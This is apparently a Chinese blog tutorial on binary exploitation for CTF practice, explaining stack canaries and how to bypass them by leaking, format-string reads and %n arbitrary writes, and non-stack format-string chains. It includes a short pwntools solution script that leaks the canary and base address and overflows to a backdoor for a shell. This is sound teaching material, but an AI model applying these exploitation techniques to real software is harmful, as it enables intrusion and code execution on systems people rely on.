Canary 绕过与格式化字符串利用

canary的各种姿势----pwn题解版-先知社区这篇文章有非常全的绕过canary的方法,感兴趣可以去看看。

一,Canary 机制

1: 什么是 Canary?(栈保护机制)

  • 核心定义:Canary(金丝雀)是一种用于检测栈溢出攻击的安全机制。
  • 工作原理
    • 在函数开始处,程序会随机生成一个值(Canary),并放置在局部变量和 rbp(栈底指针)之间。
    • 在函数返回 (ret) 之前,程序会检查这个值是否被篡改。
  • 致命报错*** stack smashing detected ***: terminated
  • 显著特征:在 x86/x64 Linux 下,Canary 的最低位字节通常是 \x00(为了截断字符串输出函数)。

想象你在雷区前撒了一把面粉(Canary)。黑客如果想通过栈溢出踩到远处的返回地址(RIP),就不可避免地会踩乱这把面粉。程序在结束前一回头,发现面粉乱了,就会立刻自尽,绝不执行黑客的恶意代码。最低位的 \x00 是个聪明的设计,它能防止 putsstrcpy 意外把它泄露出来。


2: 绕过 Canary 的核心战略 —— 泄露 (Leak)

  • 知己知彼:既然不能盲目覆盖,那我们就提前把 Canary 的值读出来。
  • 前提条件:程序中必须存在信息泄露漏洞(如 printf(buf) 或可以控制打印长度的 write)。
  • 操作步骤
    1. 填平壕沟:输入正好填充到 Canary 之前的字符(覆盖掉最低位的 \x00)。
    2. 迫使输出:调用 putsprintf 打印出被修改后的 Canary。
    3. 原样奉还:在最终的栈溢出 Payload 中,把泄露出的 Canary 放在它原本的位置。

因为 Canary 只有遇到 \x00 才会停止打印,我们故意多输入一个字符(比如 'A'),把 Canary 开头的 \x00 覆盖掉,或者sendline加入一个‘\x0a'。这样 puts 连带 Canary 剩下的 7 个字节一起吐出来。我们拿到后,把开头补回 \x00,在构造 ROP 链时把它填回原位,程序检查时就会以为“无事发生”。


fmt:格式化字符串漏洞

1: 漏洞的诞生 (The Format String Bug)

  • 安全写法printf("%s", buf); (严格指定格式)
  • 危险写法printf(buf); (用户输入直接作为格式化控制符)
  • 漏洞本质printf 是一个可变参数函数。它会根据字符串中的 % 数量,盲目地去栈上(或寄存器中)抓取数据。如果用户输入了 %p%p%p,程序就会把栈上的机密数据当作指针打印出来。

2: 任意地址读

  • %p%x :以十六进制打印栈上的数据。
    • 用途:寻找输入缓冲区在栈上的偏移量(Offset),泄露 Canary、Libc 基址或栈地址。
  • %<offset>$p :直接打印栈上第 offset 个位置的数据。
    • 示例%15$p 直接打印第 15 个参数。
  • %<offset>$s :将栈上第 offset 个位置的数据当作指针,打印该地址指向的字符串。
    • 用途:泄露 GOT 表中函数的真实内存地址。

%p 是读栈上的“值”,%s 是把栈上的值当成“地址”,去读那个地址里的内容。利用 %s,我们可以指哪打哪,读出 puts 的 GOT 表项,从而计算出 Libc 的基地址。


3: 终极杀招 —— 任意地址写 (Arbitrary Write)

  • 危险的 %n:格式化字符串不仅能读,还能写!
  • 机制%n 会将已经打印出来的字符数量,写入到对应的指针地址中。
  • 进阶技巧
    • %n:写入 4 字节。
    • %hn:写入 2 字节(Half,常用于分段写入,避免打印几亿个字符导致程序崩溃)。
    • %hhn:写入 1 字节。
  • 实战应用:配合 %<offset>$n,将特定的数值(如 system 的地址)写入到特定的内存单元(如 printf 的 GOT 表项)。

%n 是格式化字符串漏洞的灵魂。如果我们想把地址 0x1234 (十进制 4660) 写入某个地方,我们只需要构造类似于 %4660c%8$n 的 payload。程序会先打印 4660 个空格,然后遇到 %n,把“已打印数量(4660)”存入第 8 个参数指向的地址。

注:可用 Pwntools 的 fmtstr_payload(offset, {GOT_ADDR: SYSTEM_ADDR})


4: 64 位系统的“零字节”天坑

  • 32 位时代的打法[目标地址] + %<offset>$n (地址在前,格式化符在后)。
  • 64 位时代的痛点:64 位地址往往长这样:0x00007fffffff1234。高位的 \x00 会让 printf 以为字符串结束了,直接截断!
  • 解决方案 (尾部对齐法)
    • 将格式化控制符(如 %7$s)放在 Payload 的最前面
    • 用无用字符(如 aaaa)进行字节对齐(凑满 8 的倍数)。
    • 将包含 \x00 的目标地址(如 p64(got_addr))放在 Payload 的最后面

这是一个无数新手卡住的地方。一旦 Payload 中间出现 \x00printf 就会立刻罢工。所以我们必须“倒装句”。先告诉 printf 你要去第几个位置读/写,把它骗过去之后,再把带有 \x00 的真实地址藏在 Payload 的最末尾。


预习题讲解

很显然这是一道典型的格式化字符串漏洞题目,给了一次格式化字符串利用和一次栈溢出,还给了后门函数,就是练习一下用格式化字符串去泄露。

printf(buf)触发漏洞
首先保护全开,一次格式化字符串用来泄露程序基地址和canary,然后栈溢出劫持到后门就行。

p.recvuntil(b"Stage 1: Tell me your name (Format String)\n")
p.send(b"%11$paa%9$p\n")      #中间的aa隔断一下
p.recvuntil(b"Hello, ")
leak_data = p.recv(18)
canary = int(leak_data, 16)
p.recvuntil('aa')            #在这个地方方便接收下一个地址
base = p.recv(14)
base = int(base,16)-0x125e
print(f"Leaked Canary: {hex(canary)}")
print(f"Leaked base: {hex(base)}")

这是泄露两个地址的脚本,现在进入gdb调试看一下

此时的栈上

可以看到偏移为9的地址处可以泄露程序基地址,偏移为11的地址上存放canary,ni下一步触发漏洞,带出来了下面的数据,中间有aa隔开

接着,计算backdoor地址,基本的栈溢出就能拿到shell。

p.recvuntil(b"Stage 2: Leave your payload (Stack Overflow)\n")
payload = b'a'*0x28+p64(canary)+b'b'*8+p64(base+0x128e)
p.send(payload)

非栈上格式化字符串

主要讲解手法,就不贴出exp了


因为非栈上格式化字符串我们无法利用自己写在栈上的数据,只能利用栈上原有的数据,常见的做法就是泄露rbp之后,利用如图中的链子,因为我们能拿到rbp,所以上述链子的偏移能够调试得到,然后我们修改下面链子的0x7fff4058a738到0x7fff40588df8(返回地址)

0f:0078│+058 0x7fff40588e48 —▸ 0x7fff40588f28 —▸ 0x7fff4058a738 ◂— 0x485300746d662f2e /* './fmt' */


这样就使得链子指向了返回地址,然后利用下面的链子修改返回地址就可以了

2b:0158│+138 0x7fff40588f28 —▸ 0x7fff40588df8 —▸ 0x55e6bffe34ab (game+121) ◂— nop

下图可以看到通过修改上面这一行间接修改了返回地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值